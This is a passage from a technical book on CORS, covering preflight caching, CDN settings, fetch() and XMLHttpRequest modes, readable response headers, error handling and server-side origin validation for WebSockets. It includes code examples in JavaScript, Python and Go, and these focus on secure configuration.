Cache-Control: max-age=7200

Without Vary: Origin, the CDN will serve the first cached OPTIONS response to all origins, regardless of whether they match. This leads to the intermittent-failure nightmare described in Chapter 7.

CDN configuration pitfalls

CloudFront: By default, CloudFront does not forward the Origin header to your origin server, which means your server can't do dynamic origin matching, and all responses get the same cached version. You need to configure CloudFront to include Origin in the cache key (under "Cache Key and Origin Requests" → "Headers").

# AWS CLI: Add Origin to the cache policy
aws cloudfront create-cache-policy \
  --cache-policy-config '{
    "Name": "CORS-Aware",
    "ParametersInCacheKeyAndForwardedToOrigin": {
      "HeadersConfig": {
        "HeaderBehavior": "whitelist",
        "Headers": { "Items": ["Origin"], "Quantity": 1 }
      }
    }
  }'

Cloudflare: Cloudflare passes the Origin header through by default and respects Vary: Origin in most configurations. But if you're using Cloudflare Workers or custom caching rules, double-check that OPTIONS responses are being cached with the origin in the cache key.

Nginx as a reverse proxy: If Nginx sits in front of your app server and caches responses, make sure it handles OPTIONS properly:

# Pass OPTIONS through to the backend, don't handle them in Nginx
# unless you're configuring CORS at the Nginx level
proxy_cache_key "$scheme$request_method$host$request_uri$http_origin";

Including $http_origin in the cache key is the Nginx equivalent of Vary: Origin.


Browser DevTools: Seeing Cached vs. Fresh Preflights

Knowing whether a preflight was cached or fresh is essential for debugging. Here's how to tell in each browser.

Chrome DevTools

  1. Open the Network tab.
  2. Make the cross-origin request.
  3. Look for OPTIONS requests in the list.

If you see an OPTIONS request: The preflight was NOT cached. It was a fresh round trip to the server. Check the Response Headers for Access-Control-Max-Age to understand why it might not be caching (missing header, expired, or Max-Age: 0).

If you DON'T see an OPTIONS request: The preflight WAS cached. The browser used its cached result and skipped the network request entirely.

Forcing a fresh preflight:

To clear the preflight cache without clearing all browser data, you have a few options:

  • Open DevTools, right-click the reload button, select "Empty Cache and Hard Reload." This clears the HTTP cache but may not clear the preflight cache (they're separate).
  • The reliable way: Open chrome://net-internals/#events, or simply open an Incognito window. Incognito starts with an empty preflight cache.
  • Set Access-Control-Max-Age: 0 on your server temporarily.

Firefox DevTools

Firefox's Network tab works similarly. OPTIONS requests appear when preflights are sent. Absent OPTIONS means cached.

Firefox also has a useful Network tab feature: the Transferred column shows "cached" for responses served from cache. This works for regular responses but cached preflights simply don't appear at all.

Safari DevTools

Safari's Web Inspector shows OPTIONS requests in the Network tab. Safari has the most conservative default cache behavior among the three (5 minutes), so you'll see preflights more frequently in Safari during testing.


Debugging Checklist

When preflight caching isn't working as expected:

1. Is Access-Control-Max-Age present in the OPTIONS response?
   curl -X OPTIONS <url> -H "Origin: ..." \
     -H "Access-Control-Request-Method: PUT" -v

2. What value is Max-Age set to?
   - 0 or negative → caching is intentionally disabled
   - < 5 → effectively no caching in Chrome
   - > 7200 → Chrome will clamp to 7200

3. Is the cache key changing?
   - Different URL → different cache entry
   - Different request headers → different cache entry
   - Are you adding dynamic headers (timestamps, nonces)?

4. Is a CDN stripping the header?
   - Compare curl-to-origin vs curl-through-CDN
   - curl https://api.example.com/data (direct) vs
     curl https://cdn.example.com/data (via CDN)

5. Is the browser in a state that ignores the cache?
   - Incognito mode: starts fresh each time
   - DevTools "Disable cache" checkbox: also disables preflight cache
   - Some extensions interfere with caching

That DevTools "Disable cache" checkbox is a surprisingly common gotcha. You're debugging why preflights aren't being cached, you've been staring at it for an hour, and then you notice the checkbox that you enabled three days ago and forgot about. Not that I'm speaking from experience.


A Complete Optimized Setup

Here's what a well-optimized production CORS configuration looks like from a caching perspective:

Server response to OPTIONS:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization, X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 7200
Vary: Origin
Cache-Control: public, max-age=7200

Server response to actual requests:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-Request-ID, X-RateLimit-Remaining
Vary: Origin
Content-Type: application/json

What this achieves:

  • Browser caches preflights for up to 2 hours (Chrome's max)
  • CDN can cache OPTIONS responses, keyed by origin (Vary: Origin)
  • Actual responses include the minimum necessary CORS headers
  • Expose-Headers lets JavaScript read operational headers
  • Credentials are properly supported with specific origin (no wildcard)

Express implementation:

app.options("*", (req, res) => {
  const origin = req.headers.origin;
  if (allowedOrigins.has(origin)) {
    res.set("Access-Control-Allow-Origin", origin);
    res.set("Access-Control-Allow-Methods", "GET, POST, PUT, PATCH, DELETE");
    res.set("Access-Control-Allow-Headers", "Content-Type, Authorization, X-Request-ID");
    res.set("Access-Control-Allow-Credentials", "true");
    res.set("Access-Control-Max-Age", "7200");
    res.set("Vary", "Origin");
    res.set("Cache-Control", "public, max-age=7200");
  }
  res.status(204).end();
});

This is the kind of setup where you configure it once, set the Max-Age, and then forget about preflights. Your users get one round of preflights on their first visit, the browser caches them, and subsequent interactions are fast. CDN caching means even the first-visit preflights are answered from the edge.

That's the goal: make preflights invisible. They should be a one-time cost that users never notice, not a per-request tax that degrades your application's responsiveness.

CORS with Fetch and XMLHttpRequest

So you've learned what CORS is, how preflight works, and why the browser is doing this to you. Now let's talk about the two APIs you'll actually use to make cross-origin requests: fetch() and XMLHttpRequest. They handle CORS differently in subtle, sometimes infuriating ways. Let's get into it.

How fetch() Handles CORS by Default

Here's the first thing that surprises people: fetch() uses CORS mode by default. You don't have to opt into it. When you write:

fetch("https://api.example.com/data")

The browser silently sets the request mode to "cors". This means:

  1. The browser will add an Origin header to the request.
  2. The browser will inspect the response for Access-Control-Allow-Origin.
  3. If the CORS check fails, your JavaScript gets nothing. Not a 403. Not an error message. Nothing useful.

This is the default, and honestly, it's the right default. You almost always want CORS enforcement when talking to a different origin. The problems start when people discover the other modes and think they've found an escape hatch.

fetch() Mode Options

The fetch() function accepts a mode option with four possible values:

fetch(url, { mode: "cors" })        // Default. Standard CORS.
fetch(url, { mode: "no-cors" })     // The trap. We'll get to this.
fetch(url, { mode: "same-origin" }) // Reject cross-origin requests entirely.
fetch(url, { mode: "navigate" })    // Used by the browser for navigation. You can't use this.

Let's walk through each one.

mode: "cors" (the default)

This is what you get when you don't specify a mode. The browser performs a full CORS check. If the server doesn't send proper CORS headers, the request is blocked. If the server does send them, you get a full Response object with readable headers and body.

const response = await fetch("https://api.example.com/users", {
  mode: "cors",  // You don't actually need this line; it's the default
  headers: {
    "Content-Type": "application/json",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIs..."
  }
});

// If CORS succeeds, you can read the body:
const data = await response.json();
console.log(data);

The corresponding response headers from a properly configured server:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myapp.example.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-Request-Id, X-RateLimit-Remaining
Content-Type: application/json
X-Request-Id: abc-123-def
X-RateLimit-Remaining: 42

mode: "same-origin"

This one is straightforward. If the request is cross-origin, the browser rejects it immediately without even making a network request:

// If your page is on https://myapp.example.com:
fetch("https://api.example.com/data", { mode: "same-origin" })
  .catch(err => {
    // TypeError: Failed to fetch
    // The request never leaves the browser.
  });

Use this when you want to guarantee you're only talking to your own origin. It's a good defensive pattern for internal API calls that should never go cross-origin.

mode: "navigate"

This is used internally by the browser for page navigation (clicking links, submitting forms, entering URLs). You cannot use it from JavaScript. If you try, the browser will throw. I mention it only for completeness and because you'll see it in specs.

mode: "no-cors" (The Trap)

Now we arrive at the mode that has caused more confusion, frustration, and wasted hours than probably any other single option in the Fetch API. Let me be very clear upfront:

mode: "no-cors" does not bypass CORS. It does not disable CORS. It does not make CORS go away.

What it does is tell the browser: "I know this request might not have CORS headers in the response. Make the request anyway, but give me an opaque response that I can't read."

const response = await fetch("https://api.example.com/data", {
  mode: "no-cors"
});

console.log(response.type);   // "opaque"
console.log(response.status); // 0
console.log(response.ok);     // false

// This will be empty:
const text = await response.text();
console.log(text);  // ""

You read that right. The response body is empty. The status is 0. The headers are inaccessible. You've successfully made a request and gotten absolutely nothing useful back.

"But the request went through!" you say. Yes, it did. The server received it and sent back a response. The browser just won't let you see it.

When is no-cors actually useful? Almost never in application code. It exists primarily for service workers that need to cache opaque responses (like third-party resources that don't support CORS). If you're writing application logic and you reach for no-cors, stop. Fix the server's CORS headers instead.

There's another restriction that catches people: in no-cors mode, you can only use "CORS-safelisted" request headers. You can't set Authorization, custom headers, or even Content-Type values other than application/x-www-form-urlencoded, multipart/form-data, and text/plain. The browser will silently strip any headers that aren't safelisted.

// This Authorization header will be SILENTLY REMOVED:
fetch("https://api.example.com/data", {
  mode: "no-cors",
  headers: {
    "Authorization": "Bearer token123"  // Stripped. Gone. No warning.
  }
});

I've seen people spend hours debugging why their auth isn't working, only to discover that no-cors was quietly eating their headers.

XMLHttpRequest CORS Behavior

For those of us who remember (or are maintaining) code that uses XMLHttpRequest, CORS works a bit differently. XHR doesn't have a mode option. Instead, CORS is triggered automatically whenever you make a cross-origin request:

const xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data");
xhr.setRequestHeader("Content-Type", "application/json");

xhr.onload = function() {
  console.log(xhr.status);        // 200 (if CORS passes)
  console.log(xhr.responseText);  // The response body
};

xhr.onerror = function() {
  // CORS failure lands here. Good luck figuring out why.
  // xhr.status will be 0
  // xhr.statusText will be ""
  console.log("Something went wrong. CORS? Network? Who knows.");
};

xhr.send();

withCredentials

The big CORS-related property on XHR is withCredentials. This is analogous to fetch()'s credentials: "include":

const xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data");
xhr.withCredentials = true;  // Send cookies cross-origin

xhr.onload = function() {
  console.log(xhr.responseText);
};

xhr.send();

When withCredentials is true, the server must respond with:

  • Access-Control-Allow-Origin set to the specific origin (not *)
  • Access-Control-Allow-Credentials: true

The fetch() equivalent:

fetch("https://api.example.com/data", {
  credentials: "include"
});

Here's a curl simulation showing what the browser sends:

# Simulating a credentialed cross-origin request
curl -v https://api.example.com/data \
  -H "Origin: https://myapp.example.com" \
  -H "Cookie: session=abc123" \
  2>&1

# The server must respond with:
# Access-Control-Allow-Origin: https://myapp.example.com
# Access-Control-Allow-Credentials: true
# (NOT Access-Control-Allow-Origin: *)

Reading Response Headers: The Safelisted Set

Here's something that bites people regularly: even when CORS succeeds, you can't read all response headers from JavaScript. By default, only these CORS-safelisted response headers are readable:

  • Cache-Control
  • Content-Language
  • Content-Length
  • Content-Type
  • Expires
  • Last-Modified
  • Pragma

That's it. Everything else is hidden from your JavaScript unless the server explicitly exposes it.

const response = await fetch("https://api.example.com/data");

// These work (safelisted):
console.log(response.headers.get("Content-Type"));   // "application/json"
console.log(response.headers.get("Content-Length"));  // "1234"

// These return null even if the server sent them:
console.log(response.headers.get("X-Request-Id"));   // null
console.log(response.headers.get("X-RateLimit-Remaining")); // null
console.log(response.headers.get("ETag"));            // null  (yes, really)

Open DevTools, look at the Network tab, and you'll see all the headers right there in the response. But your JavaScript can't read them. This is one of those moments where DevTools actively misleads you, because it shows you what was on the wire, not what your code has access to.

Access-Control-Expose-Headers

To make additional headers readable, the server must include Access-Control-Expose-Headers:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myapp.example.com
Access-Control-Expose-Headers: X-Request-Id, X-RateLimit-Remaining, ETag
Content-Type: application/json
X-Request-Id: req-789
X-RateLimit-Remaining: 98
ETag: "v1-abc123"

Now your JavaScript can read those headers:

const response = await fetch("https://api.example.com/data");

console.log(response.headers.get("X-Request-Id"));          // "req-789"
console.log(response.headers.get("X-RateLimit-Remaining")); // "98"
console.log(response.headers.get("ETag"));                   // "v1-abc123"

You can also use the wildcard * to expose all headers:

Access-Control-Expose-Headers: *

But be aware: the wildcard does not work when Access-Control-Allow-Credentials is true. With credentialed requests, you must list each header explicitly. The spec authors really don't want you using wildcards with credentials, and they mean it.

Error Handling: The Opacity of CORS Failures

This is, in my opinion, one of the most frustrating aspects of CORS from a developer experience perspective. When a CORS request fails, the browser deliberately hides the reason from your JavaScript.

try {
  const response = await fetch("https://api.example.com/data");
} catch (error) {
  // error.message is something like "Failed to fetch"
  // That's it. That's all you get.
  // Was it CORS? DNS? Network down? Server 500? Connection refused?
  // Your code cannot tell.
  console.log(error.message);  // "Failed to fetch" or "NetworkError"
}

This is intentional. If the browser told your JavaScript why the CORS check failed, it would leak information about the target server's configuration. An attacker could use that to probe internal networks. So the browser gives you a generic TypeError and calls it a day.

With XHR, it's the same story:

const xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data");

xhr.onerror = function() {
  console.log(xhr.status);     // 0
  console.log(xhr.statusText); // ""
  // Extremely helpful.
};

xhr.send();

How to Actually Debug CORS Errors

Your code can't distinguish CORS errors from network errors. But you can, as a developer, using browser DevTools:

  1. Open the Console tab. The browser will print a detailed CORS error message that explains exactly what went wrong. It might say:

    Access to fetch at 'https://api.example.com/data' from origin
    'https://myapp.example.com' has been blocked by CORS policy:
    No 'Access-Control-Allow-Origin' header is present on the requested resource.
    
  2. Open the Network tab. Look for the failed request. If it's a CORS failure:

    • The request will show as (failed) or with a status of 0.
    • Click on it and look at the response headers. If there are no CORS headers, that's your problem.
    • If it was a preflight failure, you'll see two entries: the OPTIONS request and the actual request. The OPTIONS request likely has the issue.
  3. Check the Console for preflight-specific errors. Chrome is pretty good about telling you exactly which header or method was rejected:

    Access to fetch at 'https://api.example.com/data' from origin
    'https://myapp.example.com' has been blocked by CORS policy:
    Request header field x-custom-token is not allowed by
    Access-Control-Allow-Headers in preflight response.
    
  4. Use curl to test the server directly. Simulate what the browser does:

    # Test a simple GET
    curl -v https://api.example.com/data \
      -H "Origin: https://myapp.example.com" \
      2>&1 | grep -i "access-control"
    
    # Test a preflight
    curl -v -X OPTIONS https://api.example.com/data \
      -H "Origin: https://myapp.example.com" \
      -H "Access-Control-Request-Method: POST" \
      -H "Access-Control-Request-Headers: Content-Type, Authorization" \
      2>&1 | grep -i "access-control"
    

Distinguishing CORS Errors from Network Errors in Code

While you can't get a detailed reason, you can use a few heuristics:

async function fetchWithDiagnostics(url, options = {}) {
  try {
    const response = await fetch(url, options);
    return response;
  } catch (error) {
    // At this point, error is a TypeError for both CORS and network failures.

    // Heuristic 1: Can we reach the server at all?
    // Try a no-cors request. If it succeeds, the server is reachable,
    // so the original failure was likely CORS.
    try {
      await fetch(url, { mode: "no-cors", method: "HEAD" });
      // Server is reachable. Original failure was probably CORS.
      throw new Error(
        `CORS error: The server at ${new URL(url).origin} didn't ` +
        `include proper CORS headers. Check the server configuration.`
      );
    } catch (innerError) {
      if (innerError.message.startsWith("CORS error:")) {
        throw innerError;  // Re-throw our diagnostic error
      }
      // no-cors also failed, so it's likely a network issue
      throw new Error(
        `Network error: Could not reach ${new URL(url).origin}. ` +
        `Check your connection and that the server is running.`
      );
    }
  }
}

This isn't foolproof, but it's better than nothing.

The Response.type Property

Every Response object has a type property that tells you what kind of response you got:

const response = await fetch("https://api.example.com/data");
console.log(response.type);

The possible values:

TypeMeaning
"basic"Same-origin response. All headers readable.
"cors"Cross-origin response that passed CORS. Safelisted + exposed headers readable.
"opaque"From a no-cors request. Status 0, no headers, empty body.
"opaqueredirect"From a no-cors request that got redirected. Even less useful.
"error"Network error. You'll typically see this in service workers.

In practice, when debugging, check response.type early:

const response = await fetch(url);

if (response.type === "opaque") {
  console.warn(
    "Got an opaque response. Did you accidentally set mode: 'no-cors'? " +
    "You can't read anything from this response."
  );
}

if (response.type === "cors") {
  // Normal cross-origin response. Safe to read body and exposed headers.
  const data = await response.json();
}

if (response.type === "basic") {
  // Same-origin. Everything is available.
  const data = await response.json();
}

Practical Examples with Real APIs

Example 1: Fetching from a Public API

Many public APIs set Access-Control-Allow-Origin: *, which makes life easy:

// JSONPlaceholder is a free test API with permissive CORS
const response = await fetch("https://jsonplaceholder.typicode.com/posts/1");
console.log(response.type);  // "cors"
console.log(response.ok);    // true

const post = await response.json();
console.log(post.title);

Verify the CORS headers with curl:

$ curl -sI https://jsonplaceholder.typicode.com/posts/1 \
    -H "Origin: https://example.com" | grep -i access-control

Access-Control-Allow-Origin: *

Example 2: Authenticated Request to Your Own API

const response = await fetch("https://api.myapp.com/user/profile", {
  method: "GET",
  credentials: "include",
  headers: {
    "Authorization": "Bearer eyJhbGciOiJSUzI1NiIs...",
    "Accept": "application/json"
  }
});

if (!response.ok) {
  // Note: if this was a CORS failure, you'd be in the catch block,
  // not here. A non-ok status means the request went through but
  // the server returned an error (4xx, 5xx).
  throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}

const profile = await response.json();

This request will trigger a preflight because of the Authorization header. The preflight exchange looks like:

>>> OPTIONS /user/profile HTTP/1.1
>>> Host: api.myapp.com
>>> Origin: https://myapp.com
>>> Access-Control-Request-Method: GET
>>> Access-Control-Request-Headers: authorization, accept

<<< HTTP/1.1 204 No Content
<<< Access-Control-Allow-Origin: https://myapp.com
<<< Access-Control-Allow-Methods: GET, POST, PUT, DELETE
<<< Access-Control-Allow-Headers: Authorization, Accept, Content-Type
<<< Access-Control-Allow-Credentials: true
<<< Access-Control-Max-Age: 86400

Example 3: The Classic Mistake

// Developer's inner monologue: "CORS keeps blocking me, let me try no-cors"
const response = await fetch("https://api.example.com/data", {
  mode: "no-cors",
  headers: {
    "Authorization": "Bearer mytoken"  // Silently stripped
  }
});

// "It works! No more CORS errors!"
console.log(response.status); // 0
const data = await response.text(); // ""
// "...why is the response empty?"

Don't be this developer. I've been this developer. It's not fun.

AbortController and CORS Timeout Patterns

CORS preflight can add latency to your requests. The browser has to make an OPTIONS request, wait for the response, and then make the actual request. For slow servers or high-latency connections, this can be painful. Using AbortController to set timeouts is a solid pattern:

async function fetchWithTimeout(url, options = {}, timeoutMs = 10000) {
  const controller = new AbortController();
  const timeoutId = setTimeout(() => controller.abort(), timeoutMs);

  try {
    const response = await fetch(url, {
      ...options,
      signal: controller.signal
    });
    return response;
  } catch (error) {
    if (error.name === "AbortError") {
      throw new Error(
        `Request to ${url} timed out after ${timeoutMs}ms. ` +
        `If this is a cross-origin request, the timeout includes ` +
        `preflight negotiation time.`
      );
    }
    throw error;
  } finally {
    clearTimeout(timeoutId);
  }
}

// Usage:
try {
  const response = await fetchWithTimeout(
    "https://api.example.com/data",
    {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ query: "test" })
    },
    5000  // 5 second timeout
  );
  const data = await response.json();
} catch (error) {
  console.error(error.message);
}

Racing Multiple Requests with Abort

You can also use AbortController to cancel in-flight CORS requests when a component unmounts or when you only care about the latest request:

let currentController = null;

async function searchAPI(query) {
  // Cancel any in-flight request
  if (currentController) {
    currentController.abort();
  }

  currentController = new AbortController();

  try {
    const response = await fetch(
      `https://api.example.com/search?q=${encodeURIComponent(query)}`,
      { signal: currentController.signal }
    );
    return await response.json();
  } catch (error) {
    if (error.name === "AbortError") {
      // Request was cancelled because a newer search started.
      // This is expected, not an error.
      return null;
    }
    throw error;  // Re-throw actual errors (including CORS failures)
  }
}

Note that aborting a request during the preflight phase works correctly. The browser will cancel the OPTIONS request if it hasn't completed yet, and the actual request will never be sent.

Summary

Topicfetch()XMLHttpRequest
Default CORS mode"cors" (automatic)Always CORS for cross-origin
Send credentialscredentials: "include"withCredentials = true
Disable CORSYou can't. no-cors gives opaque responses.You can't.
Error detailsTypeError: Failed to fetchstatus: 0, statusText: ""
Response type inforesponse.type propertyNot available
Abort supportAbortControllerxhr.abort()
StreamingYes (ReadableStream)Limited (progress events)

The core lesson: CORS is enforced by the browser, not by your JavaScript code. You cannot bypass it from the client side. If you're hitting CORS issues, the fix is on the server. Always. No exceptions. (Well, except for proxies, but that's a different chapter.)

CORS and WebSockets

Here's a fact that makes people's eyebrows shoot up when I mention it at work: WebSockets do not use CORS. At all. The entire preflight mechanism, the Access-Control-Allow-Origin headers, the whole song and dance we've been discussing throughout this book — none of it applies to WebSocket connections.

If you just felt a chill run down your spine thinking about the security implications, good. You're paying attention. Let's unpack this.

The WebSocket Handshake

A WebSocket connection starts as an HTTP request that gets "upgraded" to the WebSocket protocol. Here's what the handshake looks like on the wire:

>>> GET /chat HTTP/1.1
>>> Host: ws.example.com
>>> Upgrade: websocket
>>> Connection: Upgrade
>>> Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
>>> Sec-WebSocket-Version: 13
>>> Origin: https://myapp.example.com

<<< HTTP/1.1 101 Switching Protocols
<<< Upgrade: websocket
<<< Connection: Upgrade
<<< Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Notice a few things:

  1. The browser does send an Origin header. This is important.
  2. There is no Access-Control-Allow-Origin in the response.
  3. There is no preflight OPTIONS request.
  4. The server responds with 101 Switching Protocols and that's it — you're on WebSockets now.

You can observe this handshake yourself. Open DevTools, go to the Network tab, filter by "WS", and connect to a WebSocket server. You'll see the initial HTTP request with the upgrade headers and the Origin header right there.

Why WebSockets Bypass CORS

The WebSocket protocol predates the modern CORS specification, and the two were designed by different groups with different security models. The CORS spec (maintained as part of the Fetch Standard) explicitly scopes itself to HTTP requests made via fetch(), XMLHttpRequest, and similar APIs. The WebSocket API is a different beast.

The reasoning, as far as I can reconstruct it from spec discussions, goes something like this:

  1. WebSocket connections are initiated explicitly by JavaScript calling new WebSocket(url). There's no ambient authority problem like there is with cookies being automatically attached to HTTP requests.
  2. The WebSocket handshake includes an Origin header that the server is expected to validate.
  3. The spec authors decided that origin validation for WebSockets should be the server's responsibility, not the browser's.

Whether you agree with this design decision is a separate matter. The practical consequence is that you must implement origin checking yourself on the server side. The browser will not protect you.

The Origin Header in WebSocket Handshakes

Even though the browser doesn't enforce CORS for WebSockets, it does faithfully send the Origin header. This is your lifeline.

When a page at https://myapp.example.com opens a WebSocket:

const ws = new WebSocket("wss://ws.example.com/chat");

The handshake request will include:

Origin: https://myapp.example.com

When a page at https://evil-site.example.net tries to connect to your WebSocket server:

Origin: https://evil-site.example.net

The browser cannot lie about the Origin header in a WebSocket handshake. It's set by the browser itself, not by JavaScript. Your server can trust it — at least when the request comes from a browser.

Important caveat: Non-browser clients (curl, Postman, custom scripts) can set the Origin header to anything they want. Origin validation protects you against cross-site attacks in browsers, not against determined attackers with custom HTTP clients. But that's true of CORS in general — it's a browser security mechanism, not a server authentication mechanism.

# A non-browser client can fake the origin:
curl -v \
  --include \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
  -H "Origin: https://definitely-not-evil.com" \
  https://ws.example.com/chat

Server-Side Origin Validation

Since the browser won't do CORS enforcement for you, you need to validate the Origin header yourself in your WebSocket server. Here's how that looks in a few popular frameworks.

Node.js with the ws Library

const WebSocket = require("ws");

const ALLOWED_ORIGINS = [
  "https://myapp.example.com",
  "https://staging.myapp.example.com"
];

const wss = new WebSocket.Server({
  port: 8080,
  verifyClient: (info, callback) => {
    const origin = info.origin || info.req.headers.origin;

    if (!origin || !ALLOWED_ORIGINS.includes(origin)) {
      console.log(`Rejected WebSocket connection from origin: ${origin}`);
      callback(false, 403, "Forbidden");
      return;
    }

    callback(true);
  }
});

wss.on("connection", (ws, req) => {
  console.log(`Connection from ${req.headers.origin}`);

  ws.on("message", (message) => {
    console.log(`Received: ${message}`);
    ws.send(`Echo: ${message}`);
  });
});

Python with websockets

import asyncio
import websockets

ALLOWED_ORIGINS = {
    "https://myapp.example.com",
    "https://staging.myapp.example.com",
}

async def handler(websocket):
    origin = websocket.origin
    if origin not in ALLOWED_ORIGINS:
        await websocket.close(4003, f"Origin {origin} not allowed")
        return

    async for message in websocket:
        await websocket.send(f"Echo: {message}")

async def main():
    # The `origins` parameter does built-in origin checking:
    async with websockets.serve(
        handler,
        "0.0.0.0",
        8080,
        origins=ALLOWED_ORIGINS
    ):
        await asyncio.Future()  # Run forever

asyncio.run(main())

Go with gorilla/websocket

package main

import (
    "log"
    "net/http"

    "github.com/gorilla/websocket"
)

var allowedOrigins = map[string]bool{
    "https://myapp.example.com":         true,
    "https://staging.myapp.example.com": true,
}

var upgrader = websocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool {
        origin := r.Header.Get("Origin")
        return allowedOrigins[origin]
    },
}

func handleWebSocket(w http.ResponseWriter, r *http.Request) {
    conn, err := upgrader.Upgrade(w, r, nil)
    if err != nil {
        log.Printf("Upgrade failed: %v", err)
        return
    }
    defer conn.Close()

    for {
        messageType, message, err := conn.ReadMessage()
        if err != nil {
            break
        }
        conn.WriteMessage(messageType, message)
    }
}

func main() {
    http.HandleFunc("/ws", handleWebSocket)
    log.Fatal(http.ListenAndServe(":8080", nil))
}

Note: gorilla/websocket's default CheckOrigin rejects all cross-origin requests if you don't set it. Many tutorials tell you to set it to func(r *http.Request) bool { return true } to "fix" WebSocket connection issues. Please don't do that in production. That's the equivalent of setting Access-Control-Allow-Origin: * — except worse, because at least CORS has other protections built in.

ws:// vs wss:// Security Implications

Just like HTTP vs HTTPS, WebSockets have an unencrypted variant (ws://) and a TLS-encrypted variant (wss://):

SchemePort (default)EncryptedMixed content
ws://80NoBlocked from HTTPS pages
wss://443YesAllowed from HTTPS pages

The critical point: modern browsers block ws:// connections from pages served over HTTPS. This is the mixed content policy, and it applies to WebSockets just as it does to HTTP subresources.

// On a page served over https://myapp.example.com:

// This will be BLOCKED (mixed content):
const ws1 = new WebSocket("ws://ws.example.com/chat");
// Error in console: Mixed Content: The page was loaded over HTTPS,
// but attempted to connect to the insecure WebSocket endpoint
// 'ws://ws.example.com/chat'.

// This works:
const ws2 = new WebSocket("wss://ws.example.com/chat");

In development, you might use ws://localhost:8080 and that's fine — browsers typically exempt localhost from mixed content restrictions. But in production, always use wss://.

Also worth noting: because wss:// goes through TLS, the WebSocket handshake is encrypted. This means proxies and firewalls can't inspect or modify the Origin header. Without TLS, a man-in-the-middle could theoretically modify the Origin header during the handshake, bypassing your server-side origin validation.

Socket.IO and Its Own CORS Configuration

If you're using Socket.IO, buckle up, because it has its own CORS configuration that's separate from both your HTTP server's CORS setup and the WebSocket protocol's lack of CORS.

Socket.IO starts with HTTP long-polling and then upgrades to WebSockets. The long-polling phase uses regular HTTP requests, which means CORS applies. When it upgrades to WebSockets, CORS no longer applies. Socket.IO handles both, but you need to configure it properly.

Server-Side (Node.js)

const { Server } = require("socket.io");

// Socket.IO v4 — CORS must be explicitly configured
const io = new Server(3000, {
  cors: {
    origin: ["https://myapp.example.com", "https://staging.myapp.example.com"],
    methods: ["GET", "POST"],
    credentials: true
  }
});

io.on("connection", (socket) => {
  console.log(`Client connected: ${socket.id}`);
  console.log(`Origin: ${socket.handshake.headers.origin}`);

  socket.on("chat message", (msg) => {
    io.emit("chat message", msg);
  });
});

Client-Side

import { io } from "socket.io-client";

const socket = io("https://api.example.com", {
  withCredentials: true,
  // Socket.IO will try WebSocket first (if available), falling back to polling
  transports: ["websocket", "polling"]
});

socket.on("connect", () => {
  console.log("Connected:", socket.id);
});

socket.on("connect_error", (err) => {
  // This might be a CORS error during the polling phase
  console.error("Connection error:", err.message);
});

A common pitfall: you've configured CORS on your Express app using the cors middleware, but Socket.IO has its own CORS configuration. They don't share settings. You need to configure both:

const express = require("express");
const { createServer } = require("http");
const { Server } = require("socket.io");
const cors = require("cors");

const app = express();

// CORS for your REST API endpoints
app.use(cors({
  origin: "https://myapp.example.com",
  credentials: true
}));

const httpServer = createServer(app);

// CORS for Socket.IO (separate configuration!)
const io = new Server(httpServer, {
  cors: {
    origin: "https://myapp.example.com",
    credentials: true
  }
});

// REST endpoint
app.get("/api/messages", (req, res) => {
  res.json({ messages: [] });
});

// WebSocket handler
io.on("connection", (socket) => {
  socket.on("message", (data) => {
    io.emit("message", data);
  });
});

httpServer.listen(3000);

I've lost count of the number of times I've seen someone configure CORS for their Express routes and then wonder why Socket.IO still throws CORS errors. It's always the polling transport. Always.

Common Pattern: REST + WebSockets in the Same App

A typical modern application uses REST APIs for CRUD operations and WebSockets for real-time updates. This means you're dealing with two different security models simultaneously:

REST API (https://api.example.com/messages)
  └── Protected by CORS
  └── Browser enforces Access-Control-Allow-Origin
  └── Preflight for non-simple requests

WebSocket (wss://ws.example.com/live)
  └── NOT protected by CORS
  └── Server must validate Origin header manually
  └── No preflight, ever

Here's what a complete setup might look like:

// Client-side
class MessageService {
  constructor(apiBase, wsBase) {
    this.apiBase = apiBase;
    this.wsBase = wsBase;
    this.ws = null;
    this.listeners = new Set();
  }

  // REST: fetch messages (CORS-protected by browser)
  async getMessages() {
    const response = await fetch(`${this.apiBase}/messages`, {
      credentials: "include"
    });
    return response.json();
  }

  // REST: send a message (CORS-protected by browser)
  async sendMessage(text) {
    const response = await fetch(`${this.apiBase}/messages`, {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ text })
    });
    return response.json();
  }

  // WebSocket: real-time updates (NOT CORS-protected)
  connect() {
    this.ws = new WebSocket(`${this.wsBase}/live`);

    this.ws.onmessage = (event) => {
      const data = JSON.parse(event.data);
      this.listeners.forEach(fn => fn(data));
    };

    this.ws.onclose = () => {
      // Reconnect after a delay
      setTimeout(() => this.connect(), 3000);
    };
  }

  onMessage(callback) {
    this.listeners.add(callback);
    return () => this.listeners.delete(callback);
  }
}

const service = new MessageService(
  "https://api.example.com",
  "wss://ws.example.com"
);

On the server side, you need to remember that these two transports have different security requirements:

// Server-side: two security models, one application

// REST: CORS middleware handles origin checking
app.use("/api", cors({
  origin: "https://myapp.example.com",
  credentials: true
}));

// WebSocket: manual origin checking
wss.on("connection", (ws, req) => {
  const origin = req.headers.origin;
  if (origin !== "https://myapp.example.com") {
    ws.close(4003, "Origin not allowed");
    return;
  }

  // Also validate the user's session/token
